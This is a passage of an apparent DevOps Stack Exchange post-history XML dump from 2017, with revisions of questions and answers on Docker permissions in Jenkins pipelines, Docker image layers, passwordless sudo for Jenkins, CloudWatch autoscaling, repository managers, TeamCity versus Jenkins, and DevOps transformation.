  <row Id="2440" PostHistoryTypeId="16" PostId="506" RevisionGUID="2998e27b-be10-4bde-b7cd-149f770e17d7" CreationDate="2017-04-04T02:28:30.790" UserId="46" />
  <row Id="2449" PostHistoryTypeId="4" PostId="764" RevisionGUID="1b07535c-3541-445e-890b-97b7ea451aa4" CreationDate="2017-04-04T08:38:42.163" UserId="1076" Comment="edited title" Text="What are the correct permission settings when running Docker in a Jenkins Pipeline?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2450" PostHistoryTypeId="5" PostId="764" RevisionGUID="3b3801b9-d963-408b-8764-ea288a398e13" CreationDate="2017-04-04T09:32:36.800" UserId="1076" Comment="added 798 characters in body" Text="I'm trying to get a new jenkins pipeline together to test new pull requests to our code. I'm using docker with the `ubuntu:14.04` image to simulate our production environment.&#xD;&#xA;&#xD;&#xA;A simple example of what I want to do in my `jenkinsfile` is&#xD;&#xA;&#xD;&#xA;    stage('Checkout and initialise'){&#xD;&#xA;     docker.image('ubuntu:14.04').inside{ &#xD;&#xA;         checkout scm&#xD;&#xA;         sh 'init-script.sh'&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;Where init script begins with a series of `sudo apt-get install` commands.&#xD;&#xA;&#xD;&#xA;I am seeing the error `sudo: unknown uid 106: who are you?` constistently&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The problem I'm having is that docker is not running as root as I'm used to and instead retaining the user id of the jenkins user from the host machine. This makes it difficult to sudo. &#xD;&#xA;&#xD;&#xA;I've tried adding the jenkins user to the containers `/etc/passwd` file and running `chmod` against that file but don't even have the permissions to do either of these from the `jenkinsfile`. &#xD;&#xA;&#xD;&#xA;Is there a correct way to deal with this situation? Ideally from the `jenkinsfile`; I'd like to avoid creating an additional `Dockerfile` if possible as this will be a further differentiator between testing and production. &#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;I've discovered I can use the `.withRun()` command in the jenkins file i.e&#xD;&#xA;&#xD;&#xA;    stage('Checkout and initialise'){&#xD;&#xA;     docker.image('ubuntu:14.04').withRun('-u root'){ &#xD;&#xA;         checkout scm&#xD;&#xA;         sh 'init-script.sh'&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This now means I'm a recognised user and, even better, the root one. However, the problem now moves on to trying to use `apt-get` commands I'm running inside `init-script.sh`. I either see `Error: must run as root` if I don't use `sudo` or sudo: `no tty present and no askpass program specified` if I do.&#xD;&#xA;&#xD;&#xA;**Update 2**&#xD;&#xA;As requested in the comments, here is a minimum working example including both files. &#xD;&#xA;&#xD;&#xA;    #jenkinsfile&#xD;&#xA;    stage('Checkout and provision'){&#xD;&#xA;    docker.image('ubuntu:14.04').withRun('-u root'){&#xD;&#xA;        checkout scm&#xD;&#xA;        sh 'chmod -R 770 ./'&#xD;&#xA;        sh './init-script.sh'&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;     #init-script.sh&#xD;&#xA;     sudo add-apt-repository ppa:ondrej/php&#xD;&#xA;     sudo apt-get update -y&#xD;&#xA;     sudo apt-get dist-upgrade -y&#xD;&#xA;     sudo apt-get install \&#xD;&#xA;        apache2 \&#xD;&#xA;        php \&#xD;&#xA;        php-mysql \&#xD;&#xA;        php-xml \&#xD;&#xA;        libapache2-mod-auth-mysql \&#xD;&#xA;        libapache2-mod-php \&#xD;&#xA;        php5-curl \&#xD;&#xA;        zip \&#xD;&#xA;        htop \&#xD;&#xA;        supervisor \&#xD;&#xA;        mailutils \&#xD;&#xA;        git \&#xD;&#xA;        build-essential -y&#xD;&#xA;     sudo apt-get autoremove -y" ContentLicense="CC BY-SA 3.0" />
  <row Id="2451" PostHistoryTypeId="5" PostId="33" RevisionGUID="3c598f75-e80a-4172-aaec-a979468f9f2a" CreationDate="2017-04-04T11:04:43.573" UserId="397" Comment="Corrected Grammar, removed tag from excerpt that was failing to render." Text="For questions about Jenkins, an open source automation server, and using Jenkins for topics such as building, testing, and deploying software, etc. For questions specifically about Jenkins Plugins use the jenkins-plugins tag." ContentLicense="CC BY-SA 3.0" />
  <row Id="2452" PostHistoryTypeId="24" PostId="33" RevisionGUID="3c598f75-e80a-4172-aaec-a979468f9f2a" CreationDate="2017-04-04T11:04:43.573" Comment="Proposed by 397 approved by 40 edit id of 212" ContentLicense="CC BY-SA 3.0" />
  <row Id="2453" PostHistoryTypeId="5" PostId="740" RevisionGUID="91c4ab3b-03de-4399-80e1-466ba42af601" CreationDate="2017-04-04T11:11:10.700" UserId="210" Comment="added 472 characters in body" Text="**Why this question?**&#xD;&#xA;&#xD;&#xA;The reason for posting this Q&amp;A is that sometimes certain software is required to compile software in a docker image. Once compiled these packages are superfluous and should be removed in order to reduce the image size. In some cases images that were more than 1.5GB where reduced to less than 300MB. The following use case does not represent a real world scenario, but provides an example of this use case.&#xD;&#xA;&#xD;&#xA;**Attempts to solve the issue**&#xD;&#xA;&#xD;&#xA;It works to remove a directory when the remove command is defined in the same layer as the creation of the folder:&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; rm -rf dir&#xD;&#xA;&#xD;&#xA;results in:&#xD;&#xA;&#xD;&#xA;    user@host$ docker build -t dir .&#xD;&#xA;    Sending build context to Docker daemon 1.336 MB&#xD;&#xA;    Step 1/2 : FROM alpine&#xD;&#xA;     ---&gt; 4a415e366388&#xD;&#xA;    Step 2/2 : RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; rm -rf dir&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; c283805e687f&#xD;&#xA;    Successfully built c283805e687f&#xD;&#xA;&#xD;&#xA;When the aim is to remove the directory in another layer, either this:&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com&#xD;&#xA;    RUN rm -r dir&#xD;&#xA;&#xD;&#xA;or this fails:&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com&#xD;&#xA;    RUN rm -rf dir&#xD;&#xA;&#xD;&#xA;another attempt was using workdir&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    &#xD;&#xA;    RUN mkdir dir&#xD;&#xA;    WORKDIR dir&#xD;&#xA;    RUN wget http://google.com&#xD;&#xA;    WORKDIR /&#xD;&#xA;    RUN ls&#xD;&#xA;    RUN rm -r dir&#xD;&#xA;&#xD;&#xA;building the image resulted in:&#xD;&#xA;&#xD;&#xA;    Sending build context to Docker daemon 2.048 kB&#xD;&#xA;    Step 1/7 : FROM alpine&#xD;&#xA;     ---&gt; 4a415e366388&#xD;&#xA;    Step 2/7 : RUN mkdir dir&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; aed5c75218cb&#xD;&#xA;    Step 3/7 : WORKDIR dir&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; 715de09e7e08&#xD;&#xA;    Step 4/7 : RUN wget http://google.com&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; c07bfb3e1133&#xD;&#xA;    Step 5/7 : WORKDIR /&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; c6de86d0191a&#xD;&#xA;    Step 6/7 : RUN ls&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; 9567593cce39&#xD;&#xA;    Step 7/7 : RUN rm -r dir&#xD;&#xA;     ---&gt; Running in 7fe7b28294bf&#xD;&#xA;    rm: can't remove 'dir': Directory not empty&#xD;&#xA;    The command '/bin/sh -c rm -r dir' returned a non-zero code: 1&#xD;&#xA;&#xD;&#xA;results:&#xD;&#xA;&#xD;&#xA;    user@host$ docker build -t dir .&#xD;&#xA;    Sending build context to Docker daemon 1.336 MB&#xD;&#xA;    Step 1/4 : FROM alpine&#xD;&#xA;     ---&gt; 4a415e366388&#xD;&#xA;    Step 2/4 : RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; rm -rf dir&#xD;&#xA;     ---&gt; Running in bd033cca581f&#xD;&#xA;    Connecting to google.com (&lt;IP&gt;:80)&#xD;&#xA;    Connecting to www.google.nl (&lt;IP&gt;:80)&#xD;&#xA;    index.html           100% |*******************************| 10951   0:00:00 ETA&#xD;&#xA;    &#xD;&#xA;     ---&gt; c283805e687f&#xD;&#xA;    Removing intermediate container bd033cca581f&#xD;&#xA;    Step 3/4 : RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com&#xD;&#xA;     ---&gt; Running in ab8c3dca1de8&#xD;&#xA;    mkdir: can't create directory 'dir': File exists&#xD;&#xA;    The command '/bin/sh -c mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com' returned&#xD;&#xA;    a non-zero code: 1&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2454" PostHistoryTypeId="5" PostId="32" RevisionGUID="21121617-7e02-4666-964c-b249f445be5c" CreationDate="2017-04-04T12:16:44.547" UserId="397" Comment="Corrected Grammar, removed tag from excerpt that was failing to render." Text="From [Jenkins Documentation][1]: &#xD;&#xA;&#xD;&#xA;&gt; Jenkins is a self-contained, open source automation server which can&#xD;&#xA;&gt; be used to automate all sorts of tasks such as building, testing, and&#xD;&#xA;&gt; deploying software. Jenkins can be installed through native system&#xD;&#xA;&gt; packages, Docker, or even run standalone by any machine with the Java&#xD;&#xA;&gt; Runtime Environment installed.&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/&#xD;&#xA;&#xD;&#xA;Jenkins is one of the more popular systems for continuous integration and many [tag:Jenkins-Plugins] are available that extend the out-of-the-box functionality. Jenkins is actually a fork of the [tag:Hudson] product and was created because the developers feared a dispute with Oracle about the Hudson trademark.&#xD;&#xA;&#xD;&#xA;&lt;h2&gt;Usage:&lt;/h2&gt;&#xD;&#xA;Use this tag for questions about Jenkins in general, or about using Jenkins for tasks like building, testing and deploying software. For questions specifically about writing or using 3rd party Jenkins plugins, please use the [tag:jenkins-plugins] tag." ContentLicense="CC BY-SA 3.0" />
  <row Id="2455" PostHistoryTypeId="24" PostId="32" RevisionGUID="21121617-7e02-4666-964c-b249f445be5c" CreationDate="2017-04-04T12:16:44.547" Comment="Proposed by 397 approved by 40, 13 edit id of 211" ContentLicense="CC BY-SA 3.0" />
  <row Id="2456" PostHistoryTypeId="2" PostId="773" RevisionGUID="34e8c488-8e51-451b-9c24-f50ada60664a" CreationDate="2017-04-04T13:01:57.363" UserId="397" Text="As alluded to by [Tensibai ♦][1], I think the answers you are looking for start from my answer to &quot;[What is SecOps?][2]&quot;, specifically from the &quot;Further Reading&quot; section:&#xD;&#xA;&#xD;&#xA; - [DevOpsSec by Jim Bird][3]&#xD;&#xA; - [DevSecCon: A DevSecOps Conference][4]&#xD;&#xA; - [Velocity EU: Continuous Security][5]&#xD;&#xA;&#xD;&#xA;Of the above I am currently reading Jim Bird's book, have had the pleasure of working with [the organiser][6] of DevSecCon in a previous role and had the privilege of attending the Velocity Session in Amsterdam last year.&#xD;&#xA;&#xD;&#xA;I would advise you to reach out to [Francois Raynaud][6] and ask the question of him, he has worked in the space for a long time and is really helping the community evolve as part of DevOps.&#xD;&#xA;&#xD;&#xA;Beyond my links, the O'Reilly Security Conference has published videos on Safari Books Online:&#xD;&#xA;&#xD;&#xA; - 2016&#xD;&#xA;   - [New York, NY][7]&#xD;&#xA;   - [Amsterdam, Netherlands][8]&#xD;&#xA;   - [San Francisco, California][9]&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/users/13/tensibai&#xD;&#xA;  [2]: http://devops.stackexchange.com/questions/686/what-is-secops&#xD;&#xA;  [3]: https://www.safaribooksonline.com/library/view/devopssec/9781491971413/&#xD;&#xA;  [4]: http://www.devseccon.com/&#xD;&#xA;  [5]: https://www.safaribooksonline.com/library/view/velocity-2016-/9781491958537/video290680.html&#xD;&#xA;  [6]: https://www.linkedin.com/in/francoisraynaud&#xD;&#xA;  [7]: https://www.safaribooksonline.com/library/view/the-oreilly-security/9781491960035/&#xD;&#xA;  [8]: https://www.safaribooksonline.com/library/view/oreilly-security-conference/9781491976128/&#xD;&#xA;  [9]: https://www.safaribooksonline.com/search/?query=Security%20Conference&amp;highlight=true&amp;is_academic_institution_account=false&amp;extended_publisher_data=true&amp;include_orioles=true&amp;source=user&amp;include_courses=true&amp;sort=relevance" ContentLicense="CC BY-SA 3.0" />
  <row Id="2457" PostHistoryTypeId="5" PostId="764" RevisionGUID="7e5474d0-2faf-4e23-846e-118546379c66" CreationDate="2017-04-04T13:38:36.553" UserId="1076" Comment="added 1064 characters in body" Text="I'm trying to get a new jenkins pipeline together to test new pull requests to our code. I'm using docker with the `ubuntu:14.04` image to simulate our production environment.&#xD;&#xA;&#xD;&#xA;A simple example of what I want to do in my `jenkinsfile` is&#xD;&#xA;&#xD;&#xA;    stage('Checkout and initialise'){&#xD;&#xA;     docker.image('ubuntu:14.04').inside{ &#xD;&#xA;         checkout scm&#xD;&#xA;         sh 'init-script.sh'&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;Where init script begins with a series of `sudo apt-get install` commands.&#xD;&#xA;&#xD;&#xA;I am seeing the error `sudo: unknown uid 106: who are you?` constistently&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The problem I'm having is that docker is not running as root as I'm used to and instead retaining the user id of the jenkins user from the host machine. This makes it difficult to sudo. &#xD;&#xA;&#xD;&#xA;I've tried adding the jenkins user to the containers `/etc/passwd` file and running `chmod` against that file but don't even have the permissions to do either of these from the `jenkinsfile`. &#xD;&#xA;&#xD;&#xA;Is there a correct way to deal with this situation? Ideally from the `jenkinsfile`; I'd like to avoid creating an additional `Dockerfile` if possible as this will be a further differentiator between testing and production. &#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;I've discovered I can use the `.withRun()` command in the jenkins file i.e&#xD;&#xA;&#xD;&#xA;    stage('Checkout and initialise'){&#xD;&#xA;     docker.image('ubuntu:14.04').withRun('-u root'){ &#xD;&#xA;         checkout scm&#xD;&#xA;         sh 'init-script.sh'&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This now means I'm a recognised user and, even better, the root one. However, the problem now moves on to trying to use `apt-get` commands I'm running inside `init-script.sh`. I either see `Error: must run as root` if I don't use `sudo` or sudo: `no tty present and no askpass program specified` if I do.&#xD;&#xA;&#xD;&#xA;**Update 2**&#xD;&#xA;As requested in the comments, here is a minimum working example including both files. &#xD;&#xA;&#xD;&#xA;    #jenkinsfile&#xD;&#xA;    stage('Checkout and provision'){&#xD;&#xA;    docker.image('ubuntu:14.04').withRun('-u root'){&#xD;&#xA;        checkout scm&#xD;&#xA;        sh 'chmod -R 770 ./'&#xD;&#xA;        sh './init-script.sh'&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;     #init-script.sh&#xD;&#xA;     sudo add-apt-repository ppa:ondrej/php&#xD;&#xA;     sudo apt-get update -y&#xD;&#xA;     sudo apt-get dist-upgrade -y&#xD;&#xA;     sudo apt-get install \&#xD;&#xA;        apache2 \&#xD;&#xA;        php \&#xD;&#xA;        php-mysql \&#xD;&#xA;        php-xml \&#xD;&#xA;        libapache2-mod-auth-mysql \&#xD;&#xA;        libapache2-mod-php \&#xD;&#xA;        php5-curl \&#xD;&#xA;        zip \&#xD;&#xA;        htop \&#xD;&#xA;        supervisor \&#xD;&#xA;        mailutils \&#xD;&#xA;        git \&#xD;&#xA;        build-essential -y&#xD;&#xA;     sudo apt-get autoremove -y&#xD;&#xA;&#xD;&#xA;**Update 3**&#xD;&#xA;Here is the `/etc/sudoers` file for the container:&#xD;&#xA;&#xD;&#xA;    #&#xD;&#xA;    # This file MUST be edited with the 'visudo' command as root.&#xD;&#xA;    #&#xD;&#xA;    # Please consider adding local content in /etc/sudoers.d/ instead of&#xD;&#xA;    # directly modifying this file.&#xD;&#xA;    #&#xD;&#xA;    # See the man page for details on how to write a sudoers file.&#xD;&#xA;    #&#xD;&#xA;    Defaults        env_reset&#xD;&#xA;    Defaults        mail_badpass&#xD;&#xA;    Defaults        secure_path=&quot;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&quot;&#xD;&#xA;    Defaults:jenkins !requiretty&#xD;&#xA;    &#xD;&#xA;    # User alias specification&#xD;&#xA;    &#xD;&#xA;    # Cmnd alias specification&#xD;&#xA;    &#xD;&#xA;    # User privilege specification&#xD;&#xA;    root    ALL=(ALL:ALL) ALL&#xD;&#xA;    &#xD;&#xA;    # Members of the admin group may gain root privileges&#xD;&#xA;    %admin ALL=(ALL) ALL&#xD;&#xA;    &#xD;&#xA;    # Allow members of group sudo to execute any command&#xD;&#xA;    %sudo   ALL=(ALL:ALL) ALL&#xD;&#xA;    &#xD;&#xA;    # See sudoers(5) for more information on &quot;#include&quot; directives:&#xD;&#xA;    &#xD;&#xA;    #includedir /etc/sudoers.d&#xD;&#xA;    &#xD;&#xA;    jenkins ALL=(ALL:ALL) NOPASSWD:ALL&#xD;&#xA;&#xD;&#xA;Still getting no tty errors" ContentLicense="CC BY-SA 3.0" />
  <row Id="2458" PostHistoryTypeId="2" PostId="774" RevisionGUID="b6a96d34-60de-43b9-91c8-9123a8047883" CreationDate="2017-04-04T13:58:54.170" UserId="13" Text="So after a debug session in [chat](http://chat.stackexchange.com/rooms/56541/discussion-between-tensibai-and-tobassist) what is needed is to allow the user running jenkins to be able to `sudo docker` passwordless on the docker host. &#xD;&#xA;&#xD;&#xA;A typical sudoers file on ubuntu could be in `/etc/sudoers.d/jenkins`&#xD;&#xA;&#xD;&#xA;    jenkins_user ALL=(ALL) NOPASSWD:ALL&#xD;&#xA;&#xD;&#xA;Be warned this allow `jenkins_user` to run as root without password any command, a better file should be:&#xD;&#xA;&#xD;&#xA;    jenkins_user ALL=(ALL) NOPASSWD:/full/path/to/docker&#xD;&#xA;    jenkins_user ALL=(ALL) NOPASSWD:&lt;other needed command to be run as root&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This will allow to start the container as root and as suche gives all rights within the container itself by running as uid 0.&#xD;&#xA;&#xD;&#xA;Useful resources used aside:&#xD;&#xA;&#xD;&#xA;- [Jenkins docker plugin readme](https://wiki.jenkins-ci.org/display/JENKINS/Docker+Plugin)&#xD;&#xA;- [How to setup passwordless `sudo` on Linux?](http://serverfault.com/a/596988)" ContentLicense="CC BY-SA 3.0" />
  <row Id="2459" PostHistoryTypeId="5" PostId="774" RevisionGUID="6674e9db-dc11-43bb-a022-94d6d91afd16" CreationDate="2017-04-04T14:01:25.980" UserId="47" Comment="fixed typos, improved readability" Text="So after a debug session in [chat](http://chat.stackexchange.com/rooms/56541/discussion-between-tensibai-and-tobassist) what is needed is to allow the user running jenkins to be able to `sudo docker` passwordless on the docker host. &#xD;&#xA;&#xD;&#xA;A typical sudoers file on ubuntu could be in `/etc/sudoers.d/jenkins`&#xD;&#xA;&#xD;&#xA;    jenkins_user ALL=(ALL) NOPASSWD:ALL&#xD;&#xA;&#xD;&#xA;Be warned this allow `jenkins_user` to run as root without password any command, a better file should be:&#xD;&#xA;&#xD;&#xA;    jenkins_user ALL=(ALL) NOPASSWD:/full/path/to/docker&#xD;&#xA;    jenkins_user ALL=(ALL) NOPASSWD:&lt;other needed command to be run as root&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This will allow to start the container as root and as such it gives all rights within the container itself by running as uid 0.&#xD;&#xA;&#xD;&#xA;Useful resources used aside:&#xD;&#xA;&#xD;&#xA;- [Jenkins docker plugin readme](https://wiki.jenkins-ci.org/display/JENKINS/Docker+Plugin)&#xD;&#xA;- [How to setup passwordless `sudo` on Linux?](http://serverfault.com/a/596988)" ContentLicense="CC BY-SA 3.0" />
  <row Id="2460" PostHistoryTypeId="2" PostId="775" RevisionGUID="509e6c31-e6bf-46eb-bf73-4eac8bf5c545" CreationDate="2017-04-04T14:09:47.813" UserId="397" Text="CloudWatch is absolutely [the way to go][1] on this front, you can surface Kafka Metrics in CloudWatch either by:&#xD;&#xA;&#xD;&#xA; 1. Having a [separate process][2] that pushes the metrics into CloudWatch.&#xD;&#xA; 2. Have your Producers, Consumers or Stream Processors push the metrics you need into CloudWatch.&#xD;&#xA;&#xD;&#xA;The process you follow will broadly be broken down into:&#xD;&#xA;&#xD;&#xA; 1. [Publish Custom Metrics][3].&#xD;&#xA; 2. Create an [AutoScaling Launch Configuration][4].&#xD;&#xA; 3. Create an [AutoScaling Group and Policies][5] based upon your Custom Metric.&#xD;&#xA;&#xD;&#xA;Depending on your cost model I would also consider how you can use spot instances to keep the costs down, i.e. if you have non-critical but high compute workloads use [Spot Instances][6] as part of your autoscaling configuration.&#xD;&#xA;&#xD;&#xA;  [1]: https://blog.developer.bazaarvoice.com/2015/04/17/predictively-scaling-ec2-instances-with-custom-cloudwatch-metrics/&#xD;&#xA;  [2]: https://github.com/sidcarter/kafka-cloudwatch&#xD;&#xA;  [3]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/publishingMetrics.html&#xD;&#xA;  [4]: http://docs.aws.amazon.com/autoscaling/latest/userguide/GettingStartedTutorial.html#gs-create-lc&#xD;&#xA;  [5]: http://docs.aws.amazon.com/autoscaling/latest/userguide/GettingStartedTutorial.html#gs-create-asg&#xD;&#xA;  [6]: https://aws.amazon.com/ec2/spot/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2463" PostHistoryTypeId="2" PostId="776" RevisionGUID="a9993a46-1382-493b-bace-a020929ae11f" CreationDate="2017-04-04T16:12:57.540" UserId="1096" Text="There's repository managers and Universal package repository managers (UPM). &#xD;&#xA;&#xD;&#xA;UPM’s can store all your build artifact for Jenkins, teamcity etc. and can generally also act as repository mangers for many different types of binary artifacts Maven, npm, NuGet and more. &#xD;&#xA;&#xD;&#xA;These would be tools like [Jfrog Artifactory][1], [Inedo ProGet][2], and [Sonatype Nexus][3]. &#xD;&#xA;&#xD;&#xA;A pretty decent comparison is here: https://binary-repositories-comparison.github.io/ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jfrog.com/artifactory/&#xD;&#xA;  [2]: http://inedo.com/proget&#xD;&#xA;  [3]: https://www.sonatype.com/nexus-repository-oss" ContentLicense="CC BY-SA 3.0" />
  <row Id="2464" PostHistoryTypeId="2" PostId="777" RevisionGUID="19229cc9-ba00-4742-8acf-61178e278cc3" CreationDate="2017-04-04T18:22:13.623" UserId="397" Text="I need to put my answer to this question in the context of what DevOps is, more specifically within the DevOps transformations I have been part of DevOps is the ownership of the full Software Development Lifecycle. All of the practices in the chart are an important part of DevOps, and they enable and underpin both [Systems Thinking][1] and [Amplification of Feedback Loops][1].&#xD;&#xA;&#xD;&#xA;However, the key differentiator between CI/CD and DevOps is the actual operation of software in a production environment, where it can deliver value to its customers and the business it serves.  &#xD;&#xA;&#xD;&#xA;[![DevOps Lifecycle][2]][2]&#xD;&#xA;&#xD;&#xA;As a consultant participating in or leading a DevOps transformation I have the following aspects in the front of my mind:&#xD;&#xA;&#xD;&#xA; - **Culture**: As [Dave quite rightly pointed out][3] a [Culture of Continuous Experimentation and Learning][1] is critical to the success of any transformation.  From a DevOps perspective this comes down to how do we engender a culture that is supportive of the chosen DevOps model, this model could be &quot;You Build It, You Run It&quot; or it could be more along the lines of Google's [Site Reliability Engineering][4] practice.&#xD;&#xA;&#xD;&#xA; - **Operating Model**: This is the part of the business proposition that articulates how the organisation will be delivering value, generally by articulating the People, Process and Tools used tied together at a high level.  Without an operating model, you have no blueprint for the way the organisation adopt the practices that the culture defines, this, in turn, leads to a lack of clarity and divergent behaviours.&#xD;&#xA;&#xD;&#xA; - **C-Level Aircover**: It is often our job as consultants working within transformation programmes to make radical changes to the way business works.  You are going to upset people, and some people won't like the changes - it is important that you have &quot;air cover&quot; from above to change things and move forwards.&#xD;&#xA;&#xD;&#xA;Once the high level is in place it is important to find something you can realistically deliver:&#xD;&#xA;&#xD;&#xA; 1. Start as small as possible, ideally, once you have some people who understand the culture, a sketch of an operating model and buy-in from the executives create the &quot;Minimum Viable Project&quot;, don't attempt to boil the ocean by introducing DevOps to an audience of thousands.  Set an achievable goal:&#xD;&#xA;   - Automate the creation of the infrastructure from Product X.&#xD;&#xA;   - Automate the delivery of Product X into Azure across all environments.&#xD;&#xA;   - Hand-back support from outsourcer Y to a development team in London.&#xD;&#xA;   - Create a set of tests around our riskiest feature and run them in continuous integration.&#xD;&#xA; 2. Great you have some success under your belt now it is time to start baking this into more teams, add another couple of teams into the mix and get them up and running.  Don't be afraid to offer &quot;White Glove Support&quot; at first to assist them in the transition; they will need a lot of hand-holding over the coming weeks and months.&#xD;&#xA; 3. Now you have several early adopters following a new way of working; you have some critical mass, it is time to start evangelising the work you are doing with a wider audience:&#xD;&#xA;    - Hold regular **show-and-tell** sessions ask the early adopters to demonstrate how successful they have been.&#xD;&#xA;    - Offer **drop-in sessions** to allow other parts of the organisation to explore how they can come on board with your team.&#xD;&#xA;    - Enable the creation of [**Communities of Practice**][5] focusing on specific disciplines: Continuous Deployment, Automated Testing, Business Communication, Risk Management, Monitoring and Alerting, etc.&#xD;&#xA; 4. Stay the course and close off the transformation by onboarding the rest of the organisation.  Understand the relationship between the [Gartner Hype Cycle][6] and the [Adoption Lifecycle][7].  Prepare for the Transformation Programme to fall into the &quot;Trough of Disillusionment&quot;, stay the course and keep the end goal in sight.&#xD;&#xA;&#xD;&#xA;  [![Gartner Hype Cycle vs. Adoption Curve][8]][8]&#xD;&#xA;&#xD;&#xA;For a deeper exploration of the final point read Geoffrey A. Moore's [Crossing the Chasam][9].  I could quite literally write a book about how to deliver a DevOps transformation, however by the time I had finished it there would probably be no more DevOps transformation work for me to do.&#xD;&#xA;&#xD;&#xA;  [1]: http://itrevolution.com/the-three-ways-principles-underpinning-devops/&#xD;&#xA;  [2]: https://i.stack.imgur.com/8ovVm.png&#xD;&#xA;  [3]: http://devops.stackexchange.com/a/46/397&#xD;&#xA;  [4]: https://www.amazon.co.uk/Site-Reliability-Engineering-Production-Systems/dp/149192912X&#xD;&#xA;  [5]: http://wenger-trayner.com/introduction-to-communities-of-practice/&#xD;&#xA;  [6]: http://www.gartner.com/technology/research/methodologies/hype-cycle.jsp&#xD;&#xA;  [7]: https://ondigitalmarketing.com/learn/odm/foundations/5-customer-segments-technology-adoption/&#xD;&#xA;  [8]: https://i.stack.imgur.com/p2UKT.png&#xD;&#xA;  [9]: https://www.amazon.com/Crossing-Chasm-3rd-Disruptive-Mainstream/dp/0062292986" ContentLicense="CC BY-SA 3.0" />
  <row Id="2465" PostHistoryTypeId="6" PostId="24" RevisionGUID="ce8f575e-7c82-4768-9c30-9c4e94abaa26" CreationDate="2017-04-04T18:42:15.700" UserId="47" Comment="edited tags" Text="&lt;terminology&gt;&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2466" PostHistoryTypeId="2" PostId="778" RevisionGUID="c999668e-e91c-47f6-9615-908e2f75271d" CreationDate="2017-04-04T21:09:41.027" UserId="488" Text="On the whole, the user experience is pretty similar. TeamCity has a prettier UI, but isn't particularly easier to use. In terms of functionality, the two are effectively equivalent. Most of the terminology is the same as well.&#xD;&#xA;&#xD;&#xA;The plugin ecosystems are fairly different, however; you'll definitely want to look at what plugins are available for TeamCity to achieve what you're trying to do, as this will likely be the biggest pain point in terms of a transition. If you're used to running certain Jenkins plugins, you'll need to learn a) what functionality is provided by TeamCity without any plugins needed, and b) what plugins are available to add any remaining functionality, and how they differ from plugins you're used to in Jenkins." ContentLicense="CC BY-SA 3.0" />
  <row Id="2467" PostHistoryTypeId="2" PostId="779" RevisionGUID="7747e0cd-1cb9-4df1-a38b-41c67551408f" CreationDate="2017-04-05T03:19:58.690" UserId="259" Text="I agree with Adrian on most points.  TeamCity's UI is definitely prettier and you get a lot more built-in functionality out of the box with TeamCity than with Jenkins.  But Jenkins is open source and while the quality (and doc) varies a lot from plugin to plugin, the ecosystem is extensive.&#xD;&#xA;&#xD;&#xA;I've been using Jenkins for years and just started using TeamCity a bit.  Setting up dependent jobs in TeamCity is much less intuitive than it is in Jenkins.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2469" PostHistoryTypeId="5" PostId="777" RevisionGUID="f3b9b656-2e19-45af-9518-5e56294a99a9" CreationDate="2017-04-05T09:59:57.993" UserId="13" Comment="Just a missing coma" Text="I need to put my answer to this question in the context of what DevOps is, more specifically within the DevOps transformations I have been part of, DevOps is the ownership of the full Software Development Lifecycle. All of the practices in the chart are an important part of DevOps, and they enable and underpin both [Systems Thinking][1] and [Amplification of Feedback Loops][1].&#xD;&#xA;&#xD;&#xA;However, the key differentiator between CI/CD and DevOps is the actual operation of software in a production environment, where it can deliver value to its customers and the business it serves.  &#xD;&#xA;&#xD;&#xA;[![DevOps Lifecycle][2]][2]&#xD;&#xA;&#xD;&#xA;As a consultant participating in or leading a DevOps transformation I have the following aspects in the front of my mind:&#xD;&#xA;&#xD;&#xA; - **Culture**: As [Dave quite rightly pointed out][3] a [Culture of Continuous Experimentation and Learning][1] is critical to the success of any transformation.  From a DevOps perspective this comes down to how do we engender a culture that is supportive of the chosen DevOps model, this model could be &quot;You Build It, You Run It&quot; or it could be more along the lines of Google's [Site Reliability Engineering][4] practice.&#xD;&#xA;&#xD;&#xA; - **Operating Model**: This is the part of the business proposition that articulates how the organisation will be delivering value, generally by articulating the People, Process and Tools 